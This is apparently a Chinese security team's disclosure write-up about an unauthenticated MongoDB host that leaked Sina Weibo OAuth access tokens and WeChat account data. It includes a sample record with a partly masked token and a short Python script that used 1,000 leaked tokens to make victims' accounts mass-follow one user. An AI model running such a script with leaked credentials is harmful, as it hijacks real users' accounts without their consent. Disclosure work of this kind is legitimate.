背景
在前段时间邪红F1,2,4发出《Mongodb unauthorized access vulnerability global probing report》后,我们对这些受影响的列表进行了简单的数据分析,其中发现了一个有趣的主机。
数据泄露
其中这台Mongodb数据主机存储着大量的微信公众号信息,新浪微博授权信息等敏感信息,其中我们对新浪微博授权信息进行简单的测试。
测试过程
筛选1000条存储的用户新浪微博的授权数据,其中格式为:
{"_modified":ISODate("2014-09-14T06:30:33.718Z"),"_created":ISODate("2014-09-14T06:30:33.718Z"),"uid":"163****265","url":"u/163****265","name":"猫****","screenName":"猫****","accessToken":"2.00LniemB******d10ba02ef5oEMJTB","description":"","verified":false,"logo":"http://tp2.sinaimg.cn/1635102265/50/4000*****04/1","logoLarge":"http://tp2.sinaimg.cn/1635102265/180/4000*****04/1","type":"normal","_id":"14872d****48a87"}
其中数据泄露新浪微博用户授权成功后的accessToken值,将数据以JSON进行导出后使用Python进行处理,提取出1000条accessToken方便进行测试。
statuses/user_timeline/ids 获取用户发布的微博的ID
之后我们使用关注用户API进行简单的测试,编写脚本批量的利用泄露的accessToken值进行关注用户:
#!/usr/bin/env python# coding=utf8# author=evi1m0#ff0000teamimportrequestsf=open('./accessToken.txt','r')flag=1foriinf:api_url='https://api.weibo.com/2/friendships/create.json'post={"uid":"5238604657","access_token":i.split()}requests.post(api_url,data=post)flag+=1print'[*] '+str(flag)+': '+api_urlprintpostprint
其中uid为关注用户的UID,遍历./accessToken.txt中的accessToken进行请求,于是不一会儿的功夫我们测试微博收到了新增800多个粉丝的消息,后面我们又利用取消关注API进行了取消操作。
状态
我们没有对这些数据进行恶意利用,目前已提交给官方进行及时修复:)